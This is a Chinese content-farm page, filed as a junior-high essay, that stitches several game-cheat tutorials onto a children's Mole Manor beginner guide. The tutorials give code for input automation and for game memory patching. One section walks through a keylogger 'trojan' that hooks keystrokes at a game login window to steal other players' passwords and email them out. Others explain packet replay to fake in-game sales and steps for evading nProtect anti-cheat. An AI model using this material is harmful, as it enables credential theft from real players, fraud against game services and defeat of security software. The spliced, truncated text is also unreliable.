作业帮 > 初中作文 > 教育资讯

摩尔庄园游戏外挂

来源:学生作业帮助网 编辑:作业帮 时间:2024/09/25 06:20:56 初中作文
摩尔庄园游戏外挂初中作文

篇一:教你写各种游戏外挂

教你写各种游戏外挂

看着别人玩网络游戏用外挂,做为程序员的我心里实在是不爽,想搞清楚这到底是怎么回事。就拿了一些来研究,小有心得,拿出来与大家共享,外挂无非就是分几种罢了(依制作难度):

1、动作式,所谓动作式,就是指用API发命令给窗口或API控制鼠标、键盘等,使游戏里的人物进行流动或者攻击,最早以前的“石器”外挂就是这种方式。

2、本地修改式,这种外挂跟传统上的一些游戏修改器没有两样,做这种外挂在编程只需要对内存地址有一点认识并且掌握API就可以实现,“精灵”的外挂这是这种方式写成的,它的难点在于找到那些地址码,找地址一般地要借助于别人的工具,有的游戏还有双码校验,正正找起来会比较困难。

3、木马式,这种外挂的目的是帮外挂制作者偷到用户的密码,做这种外挂有一定的难度,需要HOOK或键盘监视技术做底子,才可以完成,它的原理是先首截了用户的帐号或密码,然后发到指定邮箱。

4、加速

式,这种外挂可以加快游戏的速度。原本我一直以为加速外挂是针对某个游戏而写的,后来发现我这种概念是不对的,所谓加速外挂其实是修改时钟频率达到加速的目的。

5、封包式,这种外挂是高难度外挂,需要有很强的编程功力才可以写得出来。它的原理是先截取封包,后修改,再转发。这种外挂适用于大多数网络游戏,像WPE及一些网络游戏外挂都是用这种方式写成的,编写这种外挂需要apihook技术,winsock2技术…………

以下就用Delphi实现网络游戏外挂。

==========================================

上回对五种类型的外挂做了一个大体的概括,大家对这几种外挂都有了一定的了解,现在就依次(制作难度)由浅到深谈谈我对外挂制作的一些认识吧~~~~

首先,先来谈一下动作式的外挂,这也是我第一次写外挂时做的最简单的一种。

记得还在“石器”时代的时候,我看到别人挂着一种软件(外挂)人物就可以四外游走(当时我还不知道外挂怎么回事^_^),于是找了这种软件过来研究(拿来后才听别人说这叫外挂),发现这种东东其实实现起来并不难,仔佃看其实人物的行走无非就是鼠标在不同的地方点来点去而已,看后就有实现这功能的冲动,随后跑到MSDN上看了一些资料,发现这种实现这几个功能,只需要几个简单的API函数就可以搞定:

1、首先我们要知道现在鼠标的位置(为了好还原现在鼠标的位置)所以我们就要用到API函数GetCursorPos,它的使用方法如下:

BOOL GetCursorPos(

LPPOINT lpPoint // address of structure for cursor position

);

2、我们把鼠标的位置移到要到人物走到的地方,我们就要用到SetCursorPos函数来移动鼠标位置,它的使用方法如下:

BOOL SetCursorPos(

int X, // horizontal position

int Y // vertical position

);

3、模拟鼠标发出按下和放开的动作,我们要用到mouse_event函数来实现,具休使用方法用下: VOID mouse_event(

DWORD dwFlags, // flags specifying various motion/click variants

DWORD dx, // horizontal mouse position or position change

DWORD dy, // vertical mouse position or position change

DWORD dwData, // amount of wheel movement

DWORD dwExtraInfo // 32 bits of application-defined information

);

在它的dwFlags处,可用的事件很多如移动MOUSEEVENTF_MOVE,左键按下MOUSEEVENTF_LEFTDOWN,左键放开MOUSEEVENTF_LEFTUP,具体的东东还是查一下MSDN吧~~~~~

好了,有了以前的知识,我们就可以来看看人物移走是怎么实现的了:

getcursorpos(point);

setcursorpos(ranpoint(80,windowX),ranpoint(80,windowY));//ranpoint是个自制的随机坐标函数

mouse_event(MOUSEEVENTF_LEFTDOWN,0,0,0,0);

mouse_event(MOUSEEVENTF_LEFTUP,0,0,0,0);

setcursorpos(point.x,point.y);

看了以上的代码,是不是觉得人物的游走很简单啦~~,举一仿三,还有好多好东东可以用这个技巧实现(我早就说过,TMD,这是垃圾外挂的做法,相信了吧~~~),接下来,再看看游戏里面自动攻击的做法吧(必需游戏中攻击支持快捷键的),道理还是一样的,只是用的API不同罢了~~~,这回我们要用到的是keybd_event函数,其用法如下:

VOID keybd_event(

BYTE bVk, // virtual-key code

BYTE bScan, // hardware scan code

DWORD dwFlags, // flags specifying various function options

DWORD dwExtraInfo // additional data associated with keystroke

);

我们还要知道扫描码不可以直接使用,要用函数MapVirtualKey把键值转成扫描码,MapVirtualKey的具体使用方法如下:

UINT MapVirtualKey(

UINT uCode, // virtual-key code or scan code

UINT uMapType // translation to perform);

好了,比说此快接键是CTRL+A,接下来让我们看看实际代码是怎么写的:

keybd_event(VK_CONTROL,mapvirtualkey(VK_CONTROL,0),0,0);

keybd_event(65,mapvirtualkey(65,0),0,0);

keybd_event(65,mapvirtualkey(65,0),keyeventf_keyup,0);

keybd_event(VK_CONTROL,mapvirtualkey(VK_CONTROL,0),keyeventf_keyup,0);

首先模拟按下了CTRL键,再模拟按下A键,再模拟放开A键,最后放开CTRL键,这就是一个模拟按快捷键的周期。

(看到这里,差不多对简易外挂有了一定的了解了吧~~~~做一个试试?如果你举一仿三还能有更好的东东出来,这就要看你的领悟能力了~~,不过不要高兴太早这只是才开始,以后还有更复杂的东东等着你呢~~)

==============================================

上回我们对动作式外挂做了一个解析,动作式是最简单的外挂,现在我们带来看看,比动作式外挂更进一步的外挂——本地修改式外挂的整个制作过程进行一个详细的分解。

具我所知,本地修改式外挂最典型的应用就是在“精灵”游戏上面,因为我在近一年前(“精灵”还在测试阶段),我所在的公司里有很多同事玩“精灵”,于是我看了一下游戏的数据处理方式,发现它所发送到服务器上的信息是存在于内存当中(我看后第一个感受是:修改这种游戏和修改单机版的游戏没有多大分别,换句话说就是在他向服务器提交信息之前修改了内存地址就可以了),当时我找到了地址于是修改了内存地

址,果然,按我的想法修改了地址,让系统自动提交后,果然成功了~~~~~,后来“精灵”又改成了双地址校检,内存校检等等,在这里我就不废话了~~~~,OK,我们就来看看这类外挂是如何制作的:在做外挂之前我们要对Windows的内存有个具体的认识,而在这里我们所指的内存是指系统的内存偏移量,也就是相对内存,而我们所要对其进行修改,那么我们要对几个Windows API进行了解,OK,跟着例子让我们看清楚这种外挂的制作和API的应用(为了保证网络游戏的正常运行,我就不把找内存地址的方法详细解说了):

1、首先我们要用FindWindow,知道游戏窗口的句柄,因为我们要通过它来得知游戏的运行后所在进程的ID,下面就是FindWindow的用法:

HWND FindWindow(

LPCTSTR lpClassName, // pointer to class name

LPCTSTR lpWindowName // pointer to window name

);

2、我们GetWindowThreadProcessId来得到游戏窗口相对应进程的进程ID,函数用法如下: DWORD GetWindowThreadProcessId(

HWND hWnd, // handle of window

LPDWORD lpdwProcessId // address of variable for process identifier

);

3、得到游戏进程ID后,接下来的事是要以最高权限打开进程,所用到的函数OpenProcess的具体使用方法如下:

HANDLE OpenProcess(

DWORD dwDesiredAccess, // access flag

BOOL bInheritHandle, // handle inheritance flag

DWORD dwProcessId // process identifier

);

在dwDesiredAccess之处就是设存取方式的地方,它可设的权限很多,我们在这里使用只要使用PROCESS_ALL_ACCESS 来打开进程就可以,其他的方式我们可以查一下MSDN。

4、 打开进程后,我们就可以用函数对存内进行操作,在这里我们只要用到WriteProcessMemory来对内存地址写入数据即可(其他的操作方式比如 说:ReadProcessMemory等,我在这里就不一一介绍了),我们看一下WriteProcessMemory的用法:

BOOL WriteProcessMemory(

HANDLE hProcess, // handle to process whose memory is written to

LPVOID lpBaseAddress, // address to start writing to

LPVOID lpBuffer, // pointer to buffer to write data to

DWORD nSize, // number of bytes to write

LPDWORD lpNumberOfBytesWritten // actual number of bytes written

);

5、下面用CloseHandle关闭进程句柄就完成了。

这就是这类游戏外挂的程序实现部份的方法,好了,有了此方法,我们就有了理性的认识,我们看看实际例子,提升一下我们的感性认识吧,下面就是XX游戏的外挂代码,我们照上面的方法对应去研究一下吧: const

ResourceOffset: dword = $004219F4;

resource: dword = 3113226621;

ResourceOffset1: dword = $004219F8;

resource1: dword = 1940000000;

ResourceOffset2: dword = $0043FA50;

resource2: dword = 1280185;

ResourceOffset3: dword = $0043FA54;

resource3: dword = 3163064576;

ResourceOffset4: dword = $0043FA58;

resource4: dword = 2298478592;

var

hw: HWND;

pid: dword;

h: THandle;

tt: Cardinal;

begin

hw := FindWindow('XX', nil);

if hw = 0 then

Exit;

GetWindowThreadProcessId(hw, @pid);

h := OpenProcess(PROCESS_ALL_ACCESS, false, pid);

if h = 0 then

Exit;

if flatcheckbox1.Checked=true then

begin

WriteProcessMemory(h, Pointer(ResourceOffset), @Resource, sizeof(Resource), tt); WriteProcessMemory(h, Pointer(ResourceOffset1), @Resource1, sizeof(Resource1), tt); end;

if flatcheckbox2.Checked=true then

beginWriteProcessMemory(h, Pointer(ResourceOffset2), @Resource2, sizeof(Resource2), tt); WriteProcessMemory(h, Pointer(ResourceOffset3), @Resource3, sizeof(Resource3), tt); WriteProcessMemory(h, Pointer(ResourceOffset4), @Resource4, sizeof(Resource4), tt); end;

MessageBeep(0);

CloseHandle(h);

close;

这个游戏是用了多地址对所要提交的数据进行了校验,所以说这类游戏外挂制作并不是很难,最难的是要找到这些地址。

==========www.xxlinux.com=============

以前介绍过的动作式,本地修改式外挂是真正意义上的外挂,而今天本文要介绍的木马式外挂,可能大多像木马吧,是帮助做外挂的人偷取别人游戏的帐号及密码的东东。因为网络上有此类外挂的存在,所以今天不得不说一下(我个人是非常讨厌这类外挂的,请看过本文的朋友不要到处乱用此技术,谢谢合作)。要做此类外挂的 程序实现方法很多(比如HOOK,键盘监视等技术),因为HOOK技术对程序员的技术要求比较高并且在实际应用上需要多带一个动态链接库,所以在文中我会 以键盘监视技术来实现此类木马的制作。键盘监视技术只需要一个.exe文件就能实现做到后台键盘监视,这个程序用这种技术来实现比较适合。

在做程序之前我们必需要了解一下程序的思路:

1、我们首先知道你想记录游戏的登录窗口名称。

2、判断登录窗口是否出现。

3、如果登录窗口出现,就记录键盘。

4、当窗口关闭时,把记录信息,通过邮件发送到程序设计者的邮箱。

第一点我就不具体分析了,因为你们比我还要了解你们玩的是什么游戏,登录窗口名称是什么。从第二点开始,我们就开始这类外挂的程序实现之旅:

那么我们要怎么样判断登录窗口虽否出现呢?其实这个很简单,我们用FindWindow函数就可以很轻松的实现了:

HWND FindWindow(

LPCTSTR lpClassName, // pointer to class name

LPCTSTR lpWindowName // pointer to window name

);

实际程序实现中,我们要找到'xx'窗口,就用FindWindow(nil,'xx')如果当返回值大于0时表示窗口已经出现,那么我们就可以对键盘信息进行记录了。

先首我们用SetWindowsHookEx设置监视日志,而该函数的用法如下:

HHOOK SetWindowsHookEx(

int idHook, // type of hook to install

HOOKPROC lpfn, // address of hook procedure

HINSTANCE hMod, // handle of application instance

DWORD dwThreadId // identity of thread to install hook for

);

在这里要说明的是在我们程序当中我们要对HOOKPROC这里我们要通过写一个函数,来实现而HINSTANCE这里我们直接用本程序的HINSTANCE就可以了,具体实现方法为: >hHook := SetWindowsHookEx(WH_JOURNALRECORD, HookProc, HInstance, 0); 而HOOKPROC里的函数就要复杂一点点:

function HookProc(iCode: integer; wParam: wParam; lParam: lParam): LResult; stdcall; begin

if findedtitle then //如果发现窗口后

begin

if (peventmsg(lparam)^.message = WM_KEYDOWN) then //消息等于键盘按下

hookkey := hookkey + Form1.Keyhookresult(peventMsg(lparam)^.paramL, peventmsg(lparam)^.paramH); //通过keyhookresult(自定义的函数,主要功能是转换截获的消息参数为按键名称。我会在文章尾附上转化函数的)转换消息。

if length(hookkey) > 0 then //如果获得按键名称

begin

Write(hookkeyFile,hookkey); //把按键名称写入文本文件

hookkey := '';

end;

end;

end;

以上就是记录键盘的整个过程,简单吧,如果记录完可不要忘记释放呀,UnHookWindowsHookEx(hHook),而hHOOK,就是创建setwindowshookex后所返回的句柄。 我们已经得到了键盘的记录,那么现在最后只要把记录的这些信息发送回来,我们就大功造成了。其他发送这块并不是很难,只要把记录从文本文件里边读出来,用DELPHI自带的电子邮件组件发一下就万事OK了。代码如下:

篇二:游戏外挂制作基础(适合入门)

游戏外挂制作基础(适合入门)

篇三:教你如何制作游戏外挂)

教你如何制作游戏外挂

主要目的是为了自己学习方便 别拿砖砸我哦

首先让我们来看一下网络游戏的工作原理:

网络游戏是这样工作的:

1.由服务器记录保存所有用户资料,所有信息的修改都是服务器完成的

2.服务器接受客户机的请求发送必要的信息给客户机,以使玩家正常游戏

3.服务器接收客户机的信息反馈,并根据反馈信息,对游戏帐号作相应修改

从以上简单的介绍,我们可以看出,网络游戏可以认为是这样工作的:

由客户机电脑操作服务器器电脑,对游戏帐号信息进行修改!

要操纵本地的电脑是很容易的,因此,要显示所有已经从服务器得到的信息是完全可能的,这就可以做到以下功能:

1、游戏没有黑夜,因为地图在本地,全部显示是完全可以做到的!

2.自动加血是没有问题的,因为血的多少也已经发到本地电脑,完全可以用外挂检测到,并在必要时加血,加血本身只是一个鼠标动作,完全可以交给外挂去做。类似的,自动加魔法,自动加气,自动回城、自动打怪、自动采矿卖钱然后再自动回去采、自动练级等等都可以做到!

3.卖东西的过程很经典:你卖东西时,实际就是告诉服务器电脑,你已经将一个东西卖了,真实过程是:你向服务器发送了一个具体物品的封包,如果这个封包正确,服务器就向你的游戏帐号加一定数量的钱,然后再反馈给你一些信息,假如封包不正确,自然就卖不到钱,因此,我们可以利用外挂不断向服务器发送封包,只要正确,那么服务器就认为我们再卖东西,即使我们什么都没有卖,服务器也不断给我们钱,这就是所谓的刷钱。如果封包没有加密,那么这个功能是非常容易实现的,如果封包加密,其实同样可以做到,只是要解密而已,稍微复杂些而已!类似的,就可以实现买东西用假钱(不用钱)。攻击、防御增加,原理都是类似的!

以上的讲解,大家应该明白,其实外挂是每个游戏都可能出现的,只要有人想做,那么就没有做不出外挂的游戏!除非这个游戏不能玩!!

--------------------------------------------------------------------

WPE介绍

WPE(Winsock Packet Editor)

它的中文名称是:网络封包编辑器

在大多数的变成工具中winsock已经封装成一个控件,成为网络变成的控件,是非常方便的,利用这个控件,变成工具就可以编写外挂工具,例如使用VB就可以非常容易地编写出很出色的外挂。(顺便打个广告:本教材也有使用VB编写外挂教材,注册后就可以学习,利用VB编写外挂比WPE编写的外挂多出很多优点,例如,可以编写注册功能,使你做的外挂让别人使用时必须注册才能使用,WPE做出来的外挂是任何人得到了外挂就可以使用,不能实现限制使用,并且VB对键盘鼠标的控制,对系统的控制都很出色,VB是visial basic 的意思,就是可视化依据basic语言的编程工具,Basic本身就是基本的的意思,是很简单的语言,但是功能却是非常强大,建议大家学习)

现在,WPE有两个版本,分别是:WPE1.3和WPE pro0.7 前者是使用与win98操作平台,

后者适用与win200和winXP操作系统。都有中文版。

----------------------------------------------------------------

VB 篇

VB 从零开始编外挂(一)

----------------------------------------------------------------------------------------------

需要VB API函数:

FindWindow ←寻找窗口列表中第一个符合指定条件的顶级窗口

GetWindowThreadProcessId ←获取与指定窗口关联在一起的一个进程和线程标识符 ----------------------------------------------------------------------------------------------

相关API声明:

FindWindow

Private Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long

GetWindowThreadProcessId

Private Declare Function GetWindowThreadProcessId Lib "user32" (ByVal hwnd As Long, lpdwProcessId As Long)

As Long

----------------------------------------------------------------------------------------------

需要的控件:Label、Timer

----------------------------------------------------------------------------------------------自定义函数: Dim hwnd As Long

----------------------------------------------------------------------------------------------源代码:

Private Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long

Private Declare Function GetWindowThreadProcessId Lib "user32" (ByVal hwnd As Long, lpdwProcessId As Long)As Long

Private Sub Timer1_Timer()

Dim hwnd As Long' 储存 FindWindow 函数返回的句柄

hwnd = FindWindow(vbNullString, "Windows Media Player")' 取得进程标识符

'只要把Windows Media Player换成游戏的名称就可了!

If hwnd = 0 Then

Label1.Caption = "游戏未运行"

Else

Label1.Caption = "游戏已运行"

End If

End Sub

VB 从零开始编外挂(二)

----------------------------------------------------------------------------------------------

相信大家,在制作游戏外挂的时候,都会用到FPE、金山游侠、GE修改器、Game Master8.0等等这些软件,但是如今的网络游戏基本上都加了NP,下面来了解一下NP。知己知彼,百战不殆嘛!

什么是nProtect?

nProtect是设计用于保护个人电脑终端不被病毒和黑客程序感染的新概念的基于网络的反黑客和反病毒的工具。他帮助确保所有输入个人电脑终端的信息在网络上不落入黑客手中。在最终用户在执行电子贸易时,可以通过将nProtect配置在那些提供电子商务、进口贸易,电子贸易的金融机构的网站上,来提高安全等级。nProtect怎样工作?nProtect是一种基于服务器端的解决方案并且当那些需要保护的任何网络应用被运行时而自动启动。nProtect被载入内存,所以最终用户不需要安装任何应用程序,只要nProtect启动,就开始拒绝黑客工具和病毒的入侵!

----------------------------------------------------------------------------------------------

下面介绍它如何工作:

用户登陆时nProtect自动启动。

浏览器确认和自动安装安全模块到用户的个人电脑。扫描黑客工具和病毒通知用户目前的安全状态如果有黑客工具和病毒尝试删除在被入侵时端驻留内存来锁定黑客工具直到电脑或者nProtect关闭。

可恶的韩国人,把这个加进了网络游戏。我只能说:“呸!”

----------------------------------------------------------------------------------------------

下面讲讲躲过NP的扫描的几个方法:

一、FPE篇

台湾人开发的东西,哎。出名了的,没办法谁叫它这么好呢!

1.先装一个FPE把,呵呵←这个是废话!

2.不要把安装程序删除,按照:开始→运行→regedit→HEKY_LOCAL_MACHINE→SOFTWARE

→jaw→FPE 打开!(问:有什么用? 答:修改呀!)

3.运行FPE,然后在搜索里面输入 'jaw'(一定要家'')一般是6个地址,然后全部都选中输入: 313131c313131(意思就是111,两边多输入31就是1111!)不要关FPE!(关了就完了!)

4.修改注册表,把注册表里面的jaw、FPE(FPE的是全改)关闭FPE出现对话框。(什么鸟语不认识!呵呵)

5.将现在FPE的文件夹修改为1112000(原来是FPE2000撒),把FPE.exe修改为111.exe

6.然后重新安装一次FPE也把那个DLL文件复制到你修改过的FPE文件目录下!(呵呵!)

7.开FPE进游戏里面乱来拉!哈哈

----------------------------------------------------------------------------------------------

二、任务管理器篇

比尔·盖茨那崽儿设计的东西,还可以在这上面派上用场!(问:是什么东西?答WINDOWS自带的撒!呵呵!)

1.首先用快捷键Ctrl+Alt+Delete/.打开任务管理器

2.查看进程,一般垃圾点的网络游戏会出现多的进程。你就杀了就行了!

3.没有多的进程怎么办?BIN这个是大多数网络游戏都有的把,官方的登陆器和私服的登陆

器一样的,都是调用BIN进入游戏。登陆器打开后,更新完毕。点击运行游戏,间隔几秒杀掉登陆器的进程(这个要看你自己的计算机配置如何了,可能是2秒、可能是10秒!反正不超过15秒)这样就可以闭屏NP拉!

呵呵又可以乱来了!

----------------------------------------------------------------------------------------------

三、直接篇

直接篇说白了就不用任何东西!怎么做?跟着我眼镜来撒!

《封神榜》知道把?(答:不知道!反答:去死!)它的保护是有的,官方都已经公布了 但是有些人说《封神榜》没NP,(注意:NP现在就是保护的代名词了!)别听那些人的! 首先,运行登陆器(更新的那个)进入游戏。关闭用登陆器进入的游戏马上运行Game.exe 呵呵,没NP了。FPE等东西可以乱来了。魔法叠加、免负重等等都可以实现! 还有一种就是DAT文件或者BIN文件直接修改为EXE。呵呵!

------------------------------------------------------------

四、编程篇(VB、VC、DELPHI等等!)

怎么办呢?呵呵,我不懂怎么编VC和DELPHI的。***我就喜欢VB怎么着?

VB可以简单的实现虚拟nProtect的消息发送。具体的就不说了!

一句话虚拟nProtect消息(你不等于没说嘛!)-_-!呵呵这个嘛......!

代码就不写了,麻烦。就像用WPE这些发包一样的原理

VB 从零开始编外挂(三)

-------------------------------------------------------------------

摩尔庄园游戏外挂

---------------------------躲避了NP的扫描现在就可以模拟了!

----------------------------------------------------------------------------------------------

需要VB API函数:

keybd_event ←函数模拟了键盘行动

----------------------------------------------------------------------------------------------

相关API声明:

keybd_event

Private Declare Sub keybd_event Lib "user32" (ByVal bVk As Byte, ByVal Scan As Byte, ByVal dwFlags As Long, ByVal dwExtraInfo As Long)

----------------------------------------------------------------------------------------------

需要的控件:Timer(interval不为空)

----------------------------------------------------------------------------------------------

代码:

Private Declare Sub keybd_event Lib "user32" (ByVal bVk As Byte, ByVal Scan As Byte, ByVal dwFlags As Long, ByVal dwExtraInfo As Long)

Private Sub Timer1_Timer()

Call keybd_event(82, 0, 0, 0) '模拟按下"R"键

End Sub

----------------------------------------------------------------------------------------------

其它模拟:

方法一:

AppActivate sTitle

SendKeys "5"

方法二:

AppActivate sTitle

SendKeys vbKey5

方法三:

SendMessage Hwnd, WM_KEYDOWN, vbKey5, 0&

SendMessage Hwnd, WM_KEYUP, vbKey5, 0&

方法四:

AppActivate sTitle

keybd_event 53, 0, 0, 0

keybd_event 53, 0, KEYEVENTF_KEYUP, 0

方法五:

PostMessage lHwnd, WM_KEYDOWN, vbKey5, 0&

PostMessage lHwnd, WM_KEYUP, vbKey5, 0&

----------------------------------------------------------------------------------------------

VB 从零开始编外挂(四)

----------------------------------------------------------------------------------------------

添加快捷键

需要VB API函数:

GetAsyncKeyState ←判断函数调用时指定虚拟键的状态

----------------------------------------------------------------------------------------------

相关API声明:

GetAsyncKeyState

Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vkey As Long) As Integer Private Function MyHotKey(vKeyCode) As Boolean

----------------------------------------------------------------------------------------------

需要的控件:Timer(interval不为空)

----------------------------------------------------------------------------------------------

代码:

Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vkey As Long) As Integer Private Function MyHotKey(vKeyCode) As Boolean

MyHotKey = (GetAsyncKeyState(vKeyCode) < 0)

End Function

'然后在循环中或Timer的Timer事件中检测:

Private Sub Timer1_Timer()

If MyHotKey(vbKeyA) And vbKeyControl Then 'ctrl+A

End '关闭

End If

'其中vbkeyA是键盘〃A〃的常数,其他键可按F1查得。

篇四:【新手教程】用C语言制作单机游戏外挂 附:图文教程

【新手教程】用C语言制作单机游戏外挂 附:图文教程

启动VC++6.0,创建一个项目,就和你上机时候一样,然后开始输入代码

头文件当然先输入,那个stdio.h我们就不多说了,谁都懂的,现在我们要输入第二个书上没有的

#include

这个windows.h非常重要,如果缺少,后面很多函数将无法调用

好了,接下来自然是main函数,这个也不解释大家都懂,然后我们外挂当然要说明 prinf这个函数也是书上的常用的知识,说明就这样输到屏幕上

这里嘛,就拿我前天在贴吧上推荐的游戏<双星物语2>开刀,原因是我打了半天打不过把我惹毛了

那么,我的说明是这样的,代码如下

首先我们先把退出功能给做了,我们用一个while(1)循环让程序持续运行,因此只要一个

break;跳出循环就能让程序退出了

这里我们将大小写E都考虑到,为的是让操作更加人性化,好了,如果输入的字母不是E,就执行else

然后我们继续判断输入的字母是什么,我们现在先做打开外挂这部分,看上图,其中O是打开外挂的命令,写到这里我们要回到顶部定义两个变量,看我红圈,一个是HWND(句柄),一个是DWORD(双字),你可以把两个都理解为我们熟悉的int,他们都是数字,只不过叫法不同

我觉得我有必要解释下句柄(HWND)和PID是什么,我们可以把它们理解成我们现实中的学生证和身份证,两个东西都可以证明你的身份,功能都是一样的,只不过叫法不同,而且你的身份证和学生证是唯一的,也就是说没有人的身份证学生证和你的一模一样,计算机里的程序也是这样,每一个程序都会有他的身份证明,而且也是唯一的,为什么要这两样东西呢,想想,我们要修改的是双星物语2这个游戏,而不是暗黑破坏神3这玩意,当然要用这两个东西确认我们要修改的程序

好了,我们继续,看代码我们知道,修改游戏的代码应该写在这里

代码怎么写呢,不急,我们先把游戏打开

好了,打开游戏。憋一眼,看到这款游戏的窗体上写着“双星物语2”,我们待会就要用这个名字来取得这个游戏程序的句柄和PID(process ID)

现在我们在刚刚说的地方写入代码,第一个函数FindWindow就是靠名字来取得这个游戏程序的句柄,第二个GetWindowThreadProcessId是靠句柄取得PID,为什么要靠句柄取得PID呢,因为我们修改的游戏需要PID而不是句柄,就像你要去开房,学生证没用,要身份证才行

打开大门后可以干事了,我们现在先做修改金钱的部分,如上代码,应该不难理解

篇五:摩尔庄园新手全攻略

摩尔庄园新手全攻略

最近摩尔庄园又被一部《七彩语文》的杂志社选登啦~~相信我们可爱地摩尔庄园人会更多滴~那新手自然也就Pia Pia的多了起来喽,我为了这些新手,特意写了一些攻略~希望不要删哦~是基础的哦(建议新手看一下,老手别骂我哦~~~(*^__^*) 嘻嘻??)好咧,不说废话了,偶下来讲一下那些最基础任务及操作吧~~

1.新手任务篇

刚申请的小摩尔可能对庄园有些陌生,不知该该干些什么,那么我就带领大家先完成新手任务吧!首先来到地图上的摩尔城堡,点击城堡门前的小蘑菇同志~办领入住手续(现在可能不用点,系统自动接受此任务了~),然后根据任务指示(屏幕右上方)去干四样事情:

1公民手册:在城堡门前的一本绿色小书本,点一下,看完之后就完成

2.时报:点击屏幕最左上方的报纸,翻几下就行了

3.地图:点击屏幕左下方的地图,然后随便点一个地方,就可以

4.公约:小摩尔们再用地图去摩尔城堡,然后点击城堡的门,进入城堡的里面,会看到洛克同志~然后他那面墙上面有两支蜡烛,中间就是公约啦~勾选最下方的同意签署就over拉~~(顺便提一下,如果是别人邀请的,也可去洛克那儿领宝宝装,还有点一下洛克桌子上的纸条,然后填一下表,也可以得到五百个豆豆哦~~)

任务挖成后,可以回到小蘑菇那儿(还记得吗?在城堡门口),他会给你一直粉色拉姆(拉姆:摩尔的一种好朋友,植物,二十四小时后可以跟随主人走动,分为四个阶段,可以学习不同课程,有飞行,潜水,语言等,学过习并以考完试的拉姆可以说话或带摩尔去摩罗地海,摩登码头等特殊场景,下面我会详细讲述)以及五百豆豆呢~~

第一个任务完成啦~~那下面我们进行第二个任务,继续点小蘑菇同志,然后用左下方的地图去淘淘乐街的服装店,点一下右下方出现的一本装扮书,向后翻一直到买鞋子的那一页,把那个三百豆豆的黄色拖鞋——阳光小丫买了~(注:如果遇到自己特别喜欢的衣服,也可以买哦~不过超拉专柜是给开通过超级拉姆的小摩尔专用的哦~~我开通了~嘿呀嘿呀~~对不起,跑题了~~买完之后再点击屏幕下方的百宝箱,点击衣服,就能穿了~),买完之后捏,再回去~找到小蘑菇把阳光小丫给他,他会送你六百个豆豆哦~)

这个新手任务做完了之后,再点一次小蘑菇,接第三个任务——找红宝石:首先打开地图,点击地图左上角雪山,然后会看到一个雪娃娃,他的红鼻子闪闪发光,那就是红宝石,不用说,点击~然后再把红宝石还给小蘑菇,他会送你一个绿色滑雪板哦~

2.房屋篇

新手任务做完了之后呢,我们要学会回家啦~很简单的,点击屏幕下方的家园图案(小房子)即可,各位新手小摩尔应该是原始家园和原始小屋,可能会有点简陋,不过等以后有钱了就能买家居和新房子了,但是要怎么买呢?这个问题问地好呀~~~当我们进入家园场景时,会看到右边有一个装扮书,点一下,翻开看看,见到喜欢的就买(经济条件允许的情况下~),然后进入小屋后(小屋是在家园里的那个房子),也会看到一个装扮书,不过是小

屋装扮书,翻开看看,有很多漂亮的家具和房型呢~注意!没开通超级拉姆的小摩尔是不能购买超拉专柜的东东哦~~~~~~(那些家具在新手看来貌似有点贵,那就等到传说中的半价日吧~这个,半价日是什么就不用我说了吧,顾名思义,半价嘛~)买完之后点击右面选项的最后一个装扮小屋,将买来的装扮从仓库中点出,然后放在喜欢的位置,方向键可以改变物体方向和状态哦~

3.装扮篇

看到别人的各种服装是不是很羡慕呢?那我就来教大家如何装扮自己的小摩尔吧~先去淘淘乐街的服装店~点击服装店中右下角的装扮书,翻翻看,有没有自己喜欢的,和上面一样,服装也有超级拉姆专柜呦~新来的普通小摩尔是不能买那些飘飘的衣服的~所以建议大家快开超拉吧~~有好多特殊功能哦~~~而且是每周都有新发现呢~~,咳咳,又跑题了,对不起,回入正题。买完服装之后点击下方的百宝箱图标,然后点一下服装就可以穿上喽~大家还有知道的一点就是,有一些小摩尔的服装已经绝版了咯,现在已经不能买到了~可是有一少部分在服装店里的靓靓屋还是能用米币买到的~(什么是米币?⊙﹏⊙b汗~说不清楚呀~~)

4.赚钱篇

嘿嘿,说了那么多,哪家比较关心的是不是怎样赚钱呢?O(∩_∩)O哈哈~,那我就来叫大家喽~一提到赚钱,就一定想到打工,怎么打工列?那我们就要先认识一下,我们的包工头——汤米啦,他总是在庄园里施工,地方不确定经常换的,反正现在在阳光牧场,到了那儿之后,现在汤米旁边找到小铁铲和安全帽,然后打开百宝箱,换上之后就再点一下汤米,出来一个对话框,点击:准备好了,然后小摩尔的身上会出现黄色的小漩涡,记住哦!!在这期间,不可移动一下!两分钟后,就得到五百摩尔豆啦~~除了汤米,还有一个赚钱的地方那就是餐厅,餐厅在摩尔城堡右面,点一下那个门进去,会看到杰克同志,大家要现在餐厅左面买一个侍者服,别嫌贵,两天就赚上来了,然后穿上侍者服去点杰克,随便选一个家务,然后出现蓝色旋涡时,也不能动!!!!同样是两分钟后,五百豆豆就到手了~~~玩游戏也可挣豆豆哦~~~~另外现在smc(supper mole club)发工钱啦~什么是smc呢?下面我就要开始讲啦~~~

5.smc篇

向导:

要求:达到五级( 你刚刚好达到五级时要先刷新一下,要不是系统会说你还没有达到五级

的 ) 魅力值要20以上( 建议玩开心大厨,通过了第一关有3点魅力值,通过第二关有7点魅力值 )

四盒磁带攻略

1,红色磁带( 美味佳肴 ) 在摩尔餐厅 ( 摩尔城堡右边的那间屋子,在粒粒的后面 ) 2,黄色磁带( 五颜六色 ) 在道具店 ( 在淘淘乐街,屋顶有拉姆金锁的那间 ) 3,绿色磁带( 神灯飞毯 ) 在魔法马车 ( 在东部游乐场,派气球的小丑旁边 ) 4,蓝色磁带 ( 饱览群书) 在城堡书房 ( 在摩尔城堡的二楼,点一下那扇门 ) 找到四盒磁带之后,去爱心向导社找杰西( 爱心向导社在爱心教堂,教堂左边的大屋子,其中一扇门又蘑菇标志的,点一下,杰西就在里面 ) 顺利成为向导,并得到向导四件套 警察 要求:达到五级( 同上 ) 力量值20以上( 建议玩泡泡龙,摩尔豆和力量值都比较多 )

四样特殊材料攻略

1,稀有矿石( 雪山矿洞 ) ( 在摩尔拉雅滑冰场,浆果密道前,你会看见一个小铲子,点多几次,会得到一块红色的稀有矿石 )

2,魔幻水晶( 城堡地下 )( 拼图不必自己拼,可以点左眼或右眼12下或以上 ,也可以从服装店的魔镜里进蘑菇洞,点墙壁上的铲子,使劲挖吧~~ )

